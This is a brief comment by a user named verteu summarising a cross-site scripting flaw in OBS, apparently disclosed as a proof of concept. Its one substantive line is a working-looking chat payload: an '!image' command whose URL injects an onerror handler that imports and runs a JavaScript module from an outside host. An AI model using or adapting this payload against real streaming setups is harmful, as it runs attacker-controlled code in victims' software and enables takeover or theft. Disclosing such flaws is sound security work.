Comment by verteu

tldr: XSS on OBS via the message

  !image http://toto.jpg/x'onerror=import('https://ha10.scrt.ch:8080/poc-module.js');a='a